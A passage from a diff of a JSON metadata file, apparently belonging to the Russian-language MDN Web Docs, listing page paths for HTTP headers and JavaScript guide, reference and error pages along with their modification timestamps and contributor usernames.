- "andrewtk",
- "st6gb",
- "stonetrooper",
- "loman",
- "ReinarKein"
- ]
- },
- "Web/HTTP/Заголовки/Accept": {
- "modified": "2020-11-27T13:56:04.958Z",
- "contributors": [
- "robert491",
- "vykulakov",
- "Normal",
- "AlexeyVasilievE"
- ]
- },
- "Web/HTTP/Заголовки/Accept-Charset": {
- "modified": "2020-10-15T22:14:29.517Z",
- "contributors": [
- "Reddok",
- "J4CKVVH173"
- ]
- },
- "Web/HTTP/Заголовки/Accept-Language": {
- "modified": "2020-10-15T22:00:00.029Z",
- "contributors": [
- "taushan.marina",
- "Reddok",
- "limanweb",
- "serj-by"
- ]
- },
- "Web/HTTP/Заголовки/Accept-Patch": {
- "modified": "2020-12-05T05:07:59.020Z",
- "contributors": [
- "sheremet"
- ]
- },
- "Web/HTTP/Заголовки/Accept-Ranges": {
- "modified": "2020-10-15T22:08:23.104Z",
- "contributors": [
- "stonetrooper"
- ]
- },
- "Web/HTTP/Заголовки/Access-Control-Allow-Headers": {
- "modified": "2020-10-15T22:06:02.499Z",
- "contributors": [
- "Skinny-Hunter"
- ]
- },
- "Web/HTTP/Заголовки/Access-Control-Allow-Methods": {
- "modified": "2020-10-15T21:55:39.900Z",
- "contributors": [
- "kosuhin"
- ]
- },
- "Web/HTTP/Заголовки/Access-Control-Allow-Origin": {
- "modified": "2020-10-15T22:30:57.158Z",
- "contributors": [
- "online",
- "muxmux.ryzhinskiy"
- ]
- },
- "Web/HTTP/Заголовки/Access-Control-Max-Age": {
- "modified": "2020-10-15T21:54:51.387Z",
- "contributors": [
- "Shamshod",
- "slayermass"
- ]
- },
- "Web/HTTP/Заголовки/Authorization": {
- "modified": "2020-11-27T14:09:58.983Z",
- "contributors": [
- "robert491",
- "NikitaTkachev",
- "3lvcz",
- "EgorChernik",
- "justredpaul"
- ]
- },
- "Web/HTTP/Заголовки/Cache-Control": {
- "modified": "2020-10-15T21:59:00.821Z",
- "contributors": [
- "eeiaao",
- "akimy",
- "lykosheff",
- "Sergey.Terekhin"
- ]
- },
- "Web/HTTP/Заголовки/Connection": {
- "modified": "2020-11-27T17:37:13.461Z",
- "contributors": [
- "robert491",
- "Lariniya",
- "Talkerbox",
- "stonetrooper",
- "Kirill82"
- ]
- },
- "Web/HTTP/Заголовки/Content-Disposition": {
- "modified": "2020-10-15T21:58:08.326Z",
- "contributors": [
- "Blinky",
- "pk.prog"
- ]
- },
- "Web/HTTP/Заголовки/Content-Encoding": {
- "modified": "2020-10-15T22:30:01.262Z",
- "contributors": [
- "isetpro"
- ]
- },
- "Web/HTTP/Заголовки/Content-Language": {
- "modified": "2020-10-15T22:14:19.206Z",
- "contributors": [
- "Nasridean",
- "limanweb"
- ]
- },
- "Web/HTTP/Заголовки/Content-Length": {
- "modified": "2020-11-27T16:51:36.713Z",
- "contributors": [
- "robert491",
- "einperegrin",
- "FireEagle25"
- ]
- },
- "Web/HTTP/Заголовки/Content-Type": {
- "modified": "2020-10-15T21:56:21.381Z",
- "contributors": [
- "kryksyh",
- "WhiteApfel",
- "nemish",
- "NAKAMODI"
- ]
- },
- "Web/HTTP/Заголовки/DNT": {
- "modified": "2020-10-15T22:15:53.319Z",
- "contributors": [
- "Alex90"
- ]
- },
- "Web/HTTP/Заголовки/Date": {
- "modified": "2020-10-15T21:57:57.330Z",
- "contributors": [
- "Darlanar",
- "serieznyi"
- ]
- },
- "Web/HTTP/Заголовки/ETag": {
- "modified": "2020-10-15T22:02:38.948Z",
- "contributors": [
- "dimatretyak",
- "vetraz",
- "curdwithraisins",
- "Creepypoke"
- ]
- },
- "Web/HTTP/Заголовки/Expect": {
- "modified": "2019-03-23T22:11:58.063Z",
- "contributors": [
- "AlexeyVasilievE"
- ]
- },
- "Web/HTTP/Заголовки/Expires": {
- "modified": "2020-10-15T21:52:39.059Z",
- "contributors": [
- "tjbulick",
- "mrmlnc",
- "MihLeonid",
- "kobylin"
- ]
- },
- "Web/HTTP/Заголовки/Host": {
- "modified": "2020-10-15T22:14:52.160Z",
- "contributors": [
- "vugluskr",
- "vadjradanta"
- ]
- },
- "Web/HTTP/Заголовки/If-Match": {
- "modified": "2020-10-15T21:54:39.304Z",
- "contributors": [
- "AlexeyVasilievE"
- ]
- },
- "Web/HTTP/Заголовки/If-Modified-Since": {
- "modified": "2020-10-15T21:54:34.736Z",
- "contributors": [
- "chrisdavidmills",
- "vykulakov",
- "jellymary",
- "AlexeyVasilievE"
- ]
- },
- "Web/HTTP/Заголовки/If-Unmodified-Since": {
- "modified": "2020-10-15T21:54:34.091Z",
- "contributors": [
- "Rin15",
- "jellymary",
- "AlexeyVasilievE"
- ]
- },
- "Web/HTTP/Заголовки/Last-Modified": {
- "modified": "2020-10-15T22:15:38.253Z",
- "contributors": [
- "ilyachase"
- ]
- },
- "Web/HTTP/Заголовки/Origin": {
- "modified": "2020-10-15T22:01:53.616Z",
- "contributors": [
- "crabovwik"
- ]
- },
- "Web/HTTP/Заголовки/Pragma": {
- "modified": "2020-10-15T22:23:06.217Z",
- "contributors": [
- "OlegSo"
- ]
- },
- "Web/HTTP/Заголовки/Range": {
- "modified": "2020-10-15T22:23:56.930Z",
- "contributors": [
- "ismorozs"
- ]
- },
- "Web/HTTP/Заголовки/Referer": {
- "modified": "2020-10-15T22:08:22.897Z",
- "contributors": [
- "stonetrooper"
- ]
- },
- "Web/HTTP/Заголовки/Retry-After": {
- "modified": "2020-10-15T22:04:40.732Z",
- "contributors": [
- "TaizoGem"
- ]
- },
- "Web/HTTP/Заголовки/Set-Cookie": {
- "modified": "2020-10-15T22:22:30.848Z",
- "contributors": [
- "wadzari",
- "Artemeey",
- "ehpc",
- "YogSotot"
- ]
- },
- "Web/HTTP/Заголовки/Strict-Transport-Security": {
- "modified": "2020-10-15T22:23:39.989Z",
- "contributors": [
- "Bargamut",
- "s1lver",
- "curdwithraisins"
- ]
- },
- "Web/HTTP/Заголовки/Vary": {
- "modified": "2020-10-15T22:21:15.515Z",
- "contributors": [
- "onmotion"
- ]
- },
- "Web/HTTP/Заголовки/X-Content-Type-Options": {
- "modified": "2020-10-15T22:16:15.365Z",
- "contributors": [
- "WhiteApfel"
- ]
- },
- "Web/HTTP/Заголовки/X-Forwarded-For": {
- "modified": "2019-03-18T20:52:28.146Z",
- "contributors": [
- "krigar1184",
- "iliatcymbal"
- ]
- },
- "Web/HTTP/Заголовки/X-XSS-Protection": {
- "modified": "2020-10-15T22:01:31.139Z",
- "contributors": [
- "n00b"
- ]
- },
- "Web/HTTP/Куки": {
- "modified": "2019-07-16T04:58:27.981Z",
- "contributors": [
- "mrkutin",
- "saitonakamura",
- "levi2ki",
- "GraceAredel",
- "isildurpk",
- "abmokin",
- "serieznyi",
- "mariag"
- ]
- },
- "Web/HTTP/Кэширование": {
- "modified": "2020-06-23T16:53:43.781Z",
- "contributors": [
- "Vyprichenko",
- "DeltaSPb",
- "oleg3280",
- "arturparkhisenko",
- "gummeah",
- "mariag",
- "koks"
- ]
- },
- "Web/JavaScript": {
- "modified": "2020-10-11T19:17:39.227Z",
- "contributors": [
- "Zulcom",
- "dknight",
- "ryabv",
- "QuasiStellar",
- "cypper",
- "SphinxKnight",
- "bakugod",
- "Diana_Makarevich",
- "tshemsedinov",
- "Geloosa",
- "drxwat",
- "nllsdfx",
- "kdex",
- "Sviat",
- "pk.prog",
- "BychekRU",
- "L18-666B",
- "Saviloff",
- "uleming",
- "Feschenko",
- "IgorGilyazov",
- "anton-petrov",
- "teoli",
- "iAchilles",
- "Ladislas",
- "researcher",
- "Dionys",
- "user01",
- "karasiov",
- "Niquola",
- "Megapotz",
- "Knyaz Vladimir"
- ]
- },
- "Web/JavaScript/A_re-introduction_to_JavaScript": {
- "modified": "2020-10-21T01:20:45.167Z",
- "contributors": [
- "chimit",
- "korefusha",
- "Kamil-Zakiev",
- "EgorChernik",
- "aleshkanet",
- "CeH9",
- "MerkurevSergei",
- "shtorin",
- "Megabyteceer",
- "gudkovdanila",
- "pk.prog",
- "fscholz",
- "forestbird",
- "Saviloff",
- "Instigator",
- "shapoval",
- "AlexChuev",
- "razarusu",
- "kolyuchii",
- "PavelGrishaev",
- "teoli",
- "franza",
- "PROgrammaster",
- "sergey_tikhonov",
- "Dart"
- ]
- },
- "Web/JavaScript/Closures": {
- "modified": "2020-11-13T09:42:08.066Z",
- "contributors": [
- "chmsv",
- "0NotNull",
- "SamTLT",
- "Nikitazharkij",
- "aprinciple",
- "OlegMingaleev",
- "demid088",
- "wbamberg",
- "stranger777",
- "borisqua",
- "Stejok",
- "sersalex",
- "meecrobe",
- "Megabyteceer",
- "TaKo13",
- "Saviloff",
- "Witadol",
- "thetekst",
- "fscholz",
- "iGanzai",
- "khorpyakov",
- "ivan.p",
- "AlekseyGoryansky",
- "AlexKucher",
- "mcmimik",
- "teoli",
- "CJohn"
- ]
- },
- "Web/JavaScript/Data_structures": {
- "modified": "2020-10-08T08:53:54.371Z",
- "contributors": [
- "nikolasmelui",
- "wentout",
- "sashakrauzer",
- "faramozzayw",
- "Eugeno",
- "itsEffy",
- "meafmira",
- "artrudov",
- "miiixsc",
- "RomanBykov",
- "romannovikov",
- "pathliving",
- "rockad",
- "foobar42",
- "letry",
- "Megabyteceer",
- "kmetto",
- "TaKo13",
- "alfaslash",
- "markgraydev",
- "Leo240",
- "KANBY",
- "fscholz",
- "jaguardev",
- "teoli",
- "dunmaksim",
- "uleming"
- ]
- },
- "Web/JavaScript/Enumerability_and_ownership_of_properties": {
- "modified": "2020-03-12T19:43:05.408Z",
- "contributors": [
- "Saviloff"
- ]
- },
- "Web/JavaScript/Equality_comparisons_and_sameness": {
- "modified": "2020-03-12T19:42:53.063Z",
- "contributors": [
- "HTMan",
- "CodeLookBook",
- "sgrogov",
- "Zarwlar",
- "Saviloff",
- "Witadol"
- ]
- },
- "Web/JavaScript/EventLoop": {
- "modified": "2020-03-29T11:58:13.454Z",
- "contributors": [
- "GalustOsipyan",
- "nemrosim",
- "cgehuzi",
- "AnDeVerin",
- "letovlive",
- "rgrtuleague",
- "IlyaMokin",
- "thefasttracker",
- "RusPosevkin",
- "6thSence",
- "andrIvash",
- "ivanlemeshev",
- "beskrovnykh",
- "forestbird",
- "Saviloff",
- "pashutk",
- "fscholz",
- "im7mortal"
- ]
- },
- "Web/JavaScript/Guide": {
- "modified": "2020-10-30T03:49:38.404Z",
- "contributors": [
- "ksam",
- "callisto1337",
- "VerkholaAlex",
- "T1mL3arn",
- "pk.prog",
- "BychekRU",
- "xmalinov",
- "Saviloff",
- "HaukIce",
- "pashutk",
- "astra1",
- "Yuriy-Ka",
- "Aleksej",
- "fscholz",
- "dtretyakov",
- "teoli",
- "danielgn96"
- ]
- },
- "Web/JavaScript/Guide/About": {
- "modified": "2019-05-16T15:03:00.750Z",
- "contributors": [
- "wbamberg",
- "BychekRU",
- "fscholz",
- "teoli",
- "smfd",
- "uleming"
- ]
- },
- "Web/JavaScript/Guide/Control_flow_and_error_handling": {
- "modified": "2020-11-06T04:41:33.787Z",
- "contributors": [
- "ksam",
- "Japaka90",
- "pk.prog",
- "igor4949i",
- "fscholz",
- "IgorGilyazov",
- "teoli",
- "uleming"
- ]
- },
- "Web/JavaScript/Guide/Details_of_the_Object_Model": {
- "modified": "2020-03-18T16:30:12.782Z",
- "contributors": [
- "HardKullez",
- "qwerty-wasd",
- "imalyavskiy",
- "Davidnadejdin",
- "SedovDP",
- "metelskiy",
- "wbamberg",
- "rinbik",
- "SphinxKnight",
- "toolX",
- "vherever",
- "Megabyteceer",
- "ndrsrv",
- "NobbsNobby",
- "Saviloff",
- "makdeb",
- "fscholz",
- "esskia",
- "ivan.p"
- ]
- },
- "Web/JavaScript/Guide/Expressions_and_Operators": {
- "modified": "2020-03-12T19:39:43.277Z",
- "contributors": [
- "mikhail.makarov",
- "olegsorokin",
- "Megabyteceer",
- "pk.prog",
- "Grumvol",
- "BychekRU",
- "Leo240",
- "roma-derski",
- "fscholz",
- "denise",
- "Corba"
- ]
- },
- "Web/JavaScript/Guide/Functions": {
- "modified": "2020-04-18T01:17:09.834Z",
- "contributors": [
- "Nevelskoy",
- "shevchenko",
- "trman",
- "pirimow",
- "BulavkinNN",
- "kkxley",
- "mikhail.makarov",
- "Aparin",
- "imalyavskiy",
- "KoS57",
- "prometium",
- "jsteacat",
- "yankovskiy",
- "osmaav",
- "postwj",
- "d.zheleznov",
- "kan.a",
- "Sajag",
- "sirkon",
- "pathliving",
- "thepocp",
- "ValdemarTerte",
- "GoliafRS",
- "AlexeySuprun",
- "Mainstand",
- "Grumvol",
- "DeekHalden",
- "alitskevich",
- "keffidesign",
- "JuGeer",
- "serhiyv",
- "pashutk",
- "roma-derski",
- "fscholz",
- "andrcmdr",
- "dixon2002",
- "teoli",
- "uleming"
- ]
- },
- "Web/JavaScript/Guide/Grammar_and_types": {
- "modified": "2020-03-12T19:37:57.624Z",
- "contributors": [
- "kkxley",
- "device25",
- "pk.prog",
- "rus11",
- "xkha",
- "Grumvol",
- "DeekHalden",
- "BychekRU",
- "JuGeer",
- "fscholz",
- "IgorGilyazov",
- "ph1ex0n",
- "Corba",
- "teoli",
- "uleming"
- ]
- },
- "Web/JavaScript/Guide/Indexed_collections": {
- "modified": "2020-03-12T19:41:25.167Z",
- "contributors": [
- "prometium",
- "yankovskiy",
- "postwj",
- "v.bilinskyi",
- "pk.prog",
- "sergeymakoveev",
- "Megabyteceer",
- "a302379333",
- "Grumvol",
- "blitzkrieg393",
- "ignusin",
- "magetor"
- ]
- },
- "Web/JavaScript/Guide/Ispolzovanie_promisov": {
- "modified": "2020-03-12T19:47:08.646Z",
- "contributors": [
- "EgrorBs",
- "FrancoisVongue",
- "kkxley",
- "indalive",
- "VitalyTartynov",
- "joisadler",
- "Lunatic174",
- "kefir266",
- "yojeek",
- "djigach",
- "Airomad",
- "winexy",
- "Geloosa"
- ]
- },
- "Web/JavaScript/Guide/Iterators_and_Generators": {
- "modified": "2020-03-12T19:42:16.480Z",
- "contributors": [
- "AlexanderShushunov",
- "rinbik",
- "sivashev",
- "deman",
- "Megabyteceer",
- "pashutk",
- "kav137",
- "zgordan-vv",
- "danratnikov",
- "djsuprin",
- "uhomira"
- ]
- },
- "Web/JavaScript/Guide/JavaScript_Overview": {
- "modified": "2019-05-16T14:33:41.396Z",
- "contributors": [
- "wbamberg",
- "ivan.p",
- "fscholz",
- "teoli",
- "smfd",
- "uleming"
- ]
- },
- "Web/JavaScript/Guide/Keyed_collections": {
- "modified": "2020-03-12T19:43:04.309Z",
- "contributors": [
- "iameax",
- "callisto1337",
- "pathliving",
- "Megabyteceer",
- "alitskevich"
- ]
- },
- "Web/JavaScript/Guide/Meta_programming": {
- "modified": "2020-03-12T19:45:39.027Z",
- "contributors": [
- "E-Fir",
- "T1mL3arn",
- "TotalAMD",
- "Dominionys",
- "NickTaporuk",
- "Megabyteceer"
- ]
- },
- "Web/JavaScript/Guide/Modules": {
- "modified": "2020-11-22T19:25:09.183Z",
- "contributors": [
- "rsvato"
- ]
- },
- "Web/JavaScript/Guide/Numbers_and_dates": {
- "modified": "2020-03-12T19:42:19.176Z",
- "contributors": [
- "pirimow",
- "myszkowski",
- "Aparin",
- "imalyavskiy",
- "lemehovskiy",
- "yankovskiy",
- "rinbik",
- "morpharc",
- "Sparks",
- "TemmyR",
- "Megabyteceer",
- "Mavricus",
- "Letis-1987",
- "OojSmile",
- "Grumvol",
- "serik1987",
- "roma-derski"
- ]
- },
- "Web/JavaScript/Guide/Predefined_Core_Objects": {
- "modified": "2019-03-23T23:06:22.825Z",
- "contributors": [
- "wbamberg",
- "warsan",
- "AlexChuev",
- "razarusu"
- ]
- },
- "Web/JavaScript/Guide/Regular_Expressions": {
- "modified": "2020-07-27T10:18:25.178Z",
- "contributors": [
- "touze147",
- "SphinxKnight",
- "DASenkiv",
- "qqwweeaassdd",
- "rinbik",
- "Katarzina",
- "laion220995",
- "kzotoff",
- "WispProxy",
- "KysaKey",
- "Reiider",
- "Grumvol",
- "indiefishman",
- "romannebesny",
- "dstereo",
- "rin-nas",
- "fscholz",
- "keika",
- "teoli",
- "wilddeer",
- "uleming",
- "Odysseus"
- ]
- },
- "Web/JavaScript/Guide/Regular_Expressions/Assertions": {
- "modified": "2020-03-12T19:49:10.003Z",
- "contributors": [
- "AliaksandrZahorski"
- ]
- },
- "Web/JavaScript/Guide/Regular_Expressions/Character_Classes": {
- "modified": "2020-06-17T18:30:16.759Z",
- "contributors": [
- "dknight"
- ]
- },
- "Web/JavaScript/Guide/Text_formatting": {
- "modified": "2020-03-12T19:42:07.543Z",
- "contributors": [
- "pirimow",
- "Aparin",
- "drugoi",
- "Grumvol",
- "redishko",
- "PavelG94",
- "Prographer"
- ]
- },
- "Web/JavaScript/Guide/Working_with_Objects": {
- "modified": "2020-03-12T19:37:53.984Z",
- "contributors": [
- "mikhail.makarov",
- "dyaroman",
- "alex_wert_and",
- "logty3",
- "tonkushin",
- "m0nclous",
- "secretarius",
- "rinbik",
- "injashkin",
- "alyokhander",
- "pathliving",
- "Siteograf",
- "Matters",
- "Megabyteceer",
- "atlonis",
- "agrygoriev",
- "hawkridge",
- "NobbsNobby",
- "Grumvol",
- "TrigDevelopment",
- "jigs12",
- "vzhikness",
- "fscholz",
- "walkman2058",
- "yekver",
- "teoli",
- "Mxtnr",
- "dimko_desu",
- "Vlad.Abdullin",
- "uleming"
- ]
- },
- "Web/JavaScript/Guide/Введение_в_JavaScript": {
- "modified": "2020-03-12T19:40:55.089Z",
- "contributors": [
- "xxphantom",
- "device25",
- "boxa6",
- "rinbik",
- "vladPovalii",
- "IgorGilyazov"
- ]
- },
- "Web/JavaScript/Guide/Об_этом_руководстве": {
- "modified": "2019-03-24T00:13:23.720Z",
- "contributors": [
- "teoli",
- "danielgn96"
- ]
- },
- "Web/JavaScript/Guide/Циклы_и_итерации": {
- "modified": "2020-03-12T19:42:44.557Z",
- "contributors": [
- "Aparin",
- "Costigans",
- "Zinger1988",
- "miirinjej",
- "bad4iz",
- "pathliving",
- "EduardKuzhir",
- "DeekHalden",
- "BychekRU",
- "Dvakseno",
- "TARTIGA"
- ]
- },
- "Web/JavaScript/Inheritance_and_the_prototype_chain": {
- "modified": "2020-08-29T20:34:02.593Z",
- "contributors": [
- "sozdanbogom40",
- "shevchenko",
- "SadTomCat",
- "Nick_Pershin",
- "dudinsky",
- "Shemil95",
- "SedovDP",
- "aliaksandr-s",
- "ChesterFobitt",
- "Saviloff",
- "Kapiroska",
- "fscholz",
- "xxxxx0438",
- "SRastrigin",
- "Natalya_Surikova",
- "Rast1234",
- "teoli"
- ]
- },
- "Web/JavaScript/Introduction_to_Object-Oriented_JavaScript": {
- "modified": "2019-06-04T15:16:30.349Z",
- "contributors": [
- "MiishaG",
- "Trubochkin",
- "MefistofelUgur",
- "rockad",
- "susov",
- "movasyl",
- "forestbird",
- "hydrognomik",
- "RayzRazko",
- "Leo240",
- "impetuhant",
- "Saviloff",
- "VolodymyrKr",
- "iegik"
- ]
- },
- "Web/JavaScript/JavaScript_technologies_overview": {
- "modified": "2020-03-12T19:37:57.231Z",
- "contributors": [
- "jynweythek",
- "chrisdavidmills",
- "miirinjej",
- "kulakowka",
- "curdwithraisins",
- "sersalex",
- "fscholz",
- "kichik",
- "askhat",
- "ixidor",
- "uleming"
- ]
- },
- "Web/JavaScript/JavaScript_шеллы": {
- "modified": "2020-05-02T11:17:13.805Z",
- "contributors": [
- "RenJeka",
- "helenasilkina",
- "fscholz",
- "Alex_Howlett",
- "teoli",
- "Millionnaire"
- ]
- },
- "Web/JavaScript/Language_Resources": {
- "modified": "2020-03-12T19:37:58.256Z",
- "contributors": [
- "nnragmailcom",
- "fscholz",
- "teoli",
- "uleming"
- ]
- },
- "Web/JavaScript/Memory_Management": {
- "modified": "2020-07-14T20:08:19.176Z",
- "contributors": [
- "irustm",
- "ZeroUnderscoreOu",
- "nikolaifedorov",
- "vaeum",
- "sashashakun",
- "fscholz",
- "vitkarpov",
- "teoli",
- "Nick_Pershin",
- "nurbek.ab"
- ]
- },
- "Web/JavaScript/Reference": {
- "modified": "2020-03-12T19:36:05.593Z",
- "contributors": [
- "Aleksej",
- "Mingun",
- "teoli",
- "Ladislas",
- "pashak"
- ]
- },
- "Web/JavaScript/Reference/Classes": {
- "modified": "2020-11-02T03:27:06.842Z",
- "contributors": [
- "ITheCorgi",
- "blackbrain2009",
- "denys.marytchak",
- "PaulineNemchak",
- "SphinxKnight",
- "AnarhistMS",
- "YozhEzhi",
- "sahmildzhakeev",
- "jainashur",
- "CaptainCrocus",
- "domstrueboy",
- "Muffassa",
- "Sajag",
- "Gamesurf",
- "Piterden",
- "pathliving",
- "alienalien13",
- "DyckGerman",
- "animhotep",
- "feonit",
- "zasipin",
- "InsidiousClu",
- "KTatyana",
- "ViZhe",
- "sergeymakoveev",
- "PinkaminaDianePie",
- "RoM4iK",
- "sasd97",
- "seedofjoy",
- "torbasow",
- "krest88",
- "fscholz"
- ]
- },
- "Web/JavaScript/Reference/Classes/Class_fields": {
- "modified": "2020-11-17T02:37:33.218Z",
- "contributors": [
- "kosarev_va",
- "warsambin",
- "shmel3"
- ]
- },
- "Web/JavaScript/Reference/Classes/constructor": {
- "modified": "2020-11-02T06:02:34.419Z",
- "contributors": [
- "ITheCorgi",
- "S25AI",
- "Bobsans",
- "Paul_Yuhnovich",
- "galynag",
- "dood"
- ]
- },
- "Web/JavaScript/Reference/Classes/extends": {
- "modified": "2020-03-12T19:46:03.525Z",
- "contributors": [
- "Nexwich",
- "Vlad160",
- "Piterden",
- "meridos",
- "Halkyon",
- "Kozhemyak",
- "slayermass"
- ]
- },
- "Web/JavaScript/Reference/Classes/static": {
- "modified": "2020-10-15T21:34:19.682Z",
- "contributors": [
- "vydayko",
- "Bobsans",
- "evilive3000",
- "andrey-gnl",
- "Hydrock",
- "Dmitrii_Aleksandrov",
- "torbasow",
- "terranisu",
- "Witadol"
- ]
- },
- "Web/JavaScript/Reference/Classes/Приватные_поля_класса": {
- "modified": "2020-10-15T22:33:38.348Z",
- "contributors": [
- "cliggen",
- "DarkExodusXX"
- ]
- },
- "Web/JavaScript/Reference/Deprecated_and_obsolete_features": {
- "modified": "2020-03-12T19:48:57.173Z",
- "contributors": [
- "boxa6"
- ]
- },
- "Web/JavaScript/Reference/Errors": {
- "modified": "2020-03-12T19:44:11.764Z",
- "contributors": [
- "superpuper32",
- "fscholz"
- ]
- },
- "Web/JavaScript/Reference/Errors/Already_has_pragma": {
- "modified": "2020-03-12T19:48:44.607Z",
- "contributors": [
- "MakarovDs777"
- ]
- },
- "Web/JavaScript/Reference/Errors/Array_sort_argument": {
- "modified": "2020-03-12T19:48:40.421Z",
- "contributors": [
- "MakarovDs777"
- ]
- },
- "Web/JavaScript/Reference/Errors/Bad_octal": {
- "modified": "2020-03-12T19:46:46.233Z",
- "contributors": [
- "Pandemoniumus"
- ]
- },
- "Web/JavaScript/Reference/Errors/Bad_radix": {
- "modified": "2020-03-12T19:47:16.966Z",
- "contributors": [
- "KTatyana",
- "varyag01"
- ]
- },
- "Web/JavaScript/Reference/Errors/Bad_regexp_flag": {
- "modified": "2020-03-12T19:47:09.430Z",
- "contributors": [
- "hahanova"
- ]
- },
- "Web/JavaScript/Reference/Errors/Bad_return_or_yield": {
- "modified": "2020-03-12T19:48:14.916Z",
- "contributors": [
- "KTatyana"
- ]
- },
- "Web/JavaScript/Reference/Errors/Called_on_incompatible_type": {
- "modified": "2020-03-12T19:48:52.848Z",
- "contributors": [
- "palpich",
- "MakarovDs777",
- "Toshakins"
- ]
- },
- "Web/JavaScript/Reference/Errors/Cant_access_lexical_declaration_before_init": {
- "modified": "2020-03-12T19:47:46.173Z",
- "contributors": [
- "rsvato"
- ]
- },
- "Web/JavaScript/Reference/Errors/Cant_access_property": {
- "modified": "2020-03-12T19:48:40.635Z",
- "contributors": [
- "MakarovDs777"
- ]
- },
- "Web/JavaScript/Reference/Errors/Cant_assign_to_property": {
- "modified": "2020-11-09T16:55:40.780Z",
- "contributors": [
- "tukumann"
- ]
- },
- "Web/JavaScript/Reference/Errors/Cant_define_property_object_not_extensible": {
- "modified": "2020-03-12T19:48:37.533Z",
- "contributors": [
- "Zulcom",
- "MakarovDs777"
- ]
- },
- "Web/JavaScript/Reference/Errors/Cant_delete": {
- "modified": "2020-03-12T19:48:41.016Z",
- "contributors": [
- "MakarovDs777"
- ]
- },
- "Web/JavaScript/Reference/Errors/Cant_redefine_property": {
- "modified": "2020-03-12T19:48:43.526Z",
- "contributors": [
- "MakarovDs777"
- ]
- },
- "Web/JavaScript/Reference/Errors/Cyclic_object_value": {
- "modified": "2020-10-19T11:06:58.196Z",
- "contributors": [
- "sovushka-utrom",
- "MakarovDs777"
- ]
- },
- "Web/JavaScript/Reference/Errors/Dead_object": {
- "modified": "2020-03-12T19:48:38.148Z",
- "contributors": [
- "MakarovDs777"
- ]
- },
- "Web/JavaScript/Reference/Errors/Delete_in_strict_mode": {
- "modified": "2020-03-12T19:48:34.125Z",
- "contributors": [
- "Akh-rman",
- "MakarovDs777"
- ]
- },
- "Web/JavaScript/Reference/Errors/Deprecated_String_generics": {
- "modified": "2020-03-12T19:48:16.347Z",
- "contributors": [
- "KTatyana"
- ]
- },
- "Web/JavaScript/Reference/Errors/Deprecated_caller_or_arguments_usage": {
- "modified": "2020-03-12T19:48:07.207Z",
- "contributors": [
- "simonprod",
- "MakarovDs777",
- "Akh-rman"
- ]
- },
- "Web/JavaScript/Reference/Errors/Deprecated_expression_closures": {
- "modified": "2020-03-12T19:48:53.985Z",
- "contributors": [
- "MakarovDs777"
- ]
- },
- "Web/JavaScript/Reference/Errors/Deprecated_octal": {
- "modified": "2020-03-12T19:48:36.042Z",
- "contributors": [
- "MakarovDs777",
- "ialexi-bl"
- ]
- },
- "Web/JavaScript/Reference/Errors/Deprecated_source_map_pragma": {
- "modified": "2020-03-12T19:46:14.659Z",
- "contributors": [
- "medianex"
- ]
- },
- "Web/JavaScript/Reference/Errors/Deprecated_toLocaleFormat": {
- "modified": "2020-03-12T19:48:53.962Z",
- "contributors": [
- "MakarovDs777"
- ]
- },
- "Web/JavaScript/Reference/Errors/Equal_as_assign": {
- "modified": "2020-03-12T19:48:37.445Z",
- "contributors": [
- "MakarovDs777"
- ]
- },
- "Web/JavaScript/Reference/Errors/For-each-in_loops_are_deprecated": {
- "modified": "2020-03-12T19:48:56.664Z",
- "contributors": [
- "MakarovDs777"
- ]
- },
- "Web/JavaScript/Reference/Errors/Getter_only": {
- "modified": "2020-03-12T19:48:43.409Z",
- "contributors": [
- "MakarovDs777"
- ]
- },
- "Web/JavaScript/Reference/Errors/Identifier_after_number": {
- "modified": "2020-03-12T19:48:34.042Z",
- "contributors": [
- "MakarovDs777"
- ]
- },
- "Web/JavaScript/Reference/Errors/Illegal_character": {
- "modified": "2020-03-12T19:46:55.549Z",
- "contributors": [
- "Agaff.fm",
- "milothea"
- ]
- },
- "Web/JavaScript/Reference/Errors/Invalid_array_length": {
- "modified": "2020-03-12T19:46:53.627Z",
- "contributors": [
- "xenikopa"
- ]
- },
- "Web/JavaScript/Reference/Errors/Invalid_assignment_left-hand_side": {
- "modified": "2020-03-12T19:46:49.095Z",
- "contributors": [
- "KTatyana",
- "evmnn"
- ]
- },
- "Web/JavaScript/Reference/Errors/Invalid_const_assignment": {
- "modified": "2020-03-12T19:48:42.020Z",
- "contributors": [
- "MakarovDs777"
- ]
- },
- "Web/JavaScript/Reference/Errors/Invalid_date": {
- "modified": "2020-03-12T19:47:15.198Z",
- "contributors": [
- "Logiiiin",
- "Cronofaq"
- ]
- },
- "Web/JavaScript/Reference/Errors/Invalid_for-in_initializer": {
- "modified": "2020-03-12T19:48:36.053Z",
- "contributors": [
- "Akh-rman",
- "MakarovDs777"
- ]
- },
- "Web/JavaScript/Reference/Errors/Invalid_for-of_initializer": {
- "modified": "2020-03-12T19:47:46.050Z",
- "contributors": [
- "Akh-rman",
- "rsvato"
- ]
- },
- "Web/JavaScript/Reference/Errors/JSON_bad_parse": {
- "modified": "2020-03-12T19:47:51.119Z",
- "contributors": [
- "Akh-rman",
- "djigach"
- ]
- },
- "Web/JavaScript/Reference/Errors/Malformed_URI": {
- "modified": "2020-03-12T19:47:10.234Z",
- "contributors": [
- "Logiiiin",
- "hunty"
- ]
- },
- "Web/JavaScript/Reference/Errors/Malformed_formal_parameter": {
- "modified": "2020-03-12T19:47:59.198Z",
- "contributors": [
- "KTatyana"
- ]
- },
- "Web/JavaScript/Reference/Errors/Missing_bracket_after_list": {
- "modified": "2020-03-12T19:47:12.419Z",
- "contributors": [
- "KTatyana",
- "kolyuchii"
- ]
- },
- "Web/JavaScript/Reference/Errors/Missing_colon_after_property_id": {
- "modified": "2020-03-12T19:47:16.697Z",
- "contributors": [
- "Logiiiin"
- ]
- },
- "Web/JavaScript/Reference/Errors/Missing_curly_after_function_body": {
- "modified": "2020-03-12T19:48:03.575Z",
- "contributors": [
- "KTatyana"
- ]
- },
- "Web/JavaScript/Reference/Errors/Missing_curly_after_property_list": {
- "modified": "2020-03-12T19:47:15.796Z",
- "contributors": [
- "KTatyana",
- "varyag01"
- ]
- },
- "Web/JavaScript/Reference/Errors/Missing_formal_parameter": {
- "modified": "2020-03-12T19:48:33.984Z",
- "contributors": [
- "MakarovDs777"
- ]
- },
- "Web/JavaScript/Reference/Errors/Missing_initializer_in_const": {
- "modified": "2020-03-12T19:47:18.266Z",
- "contributors": [
- "Logiiiin"
- ]
- },
- "Web/JavaScript/Reference/Errors/Missing_name_after_dot_operator": {
- "modified": "2020-03-12T19:48:36.581Z",
- "contributors": [
- "MakarovDs777"
- ]
- },
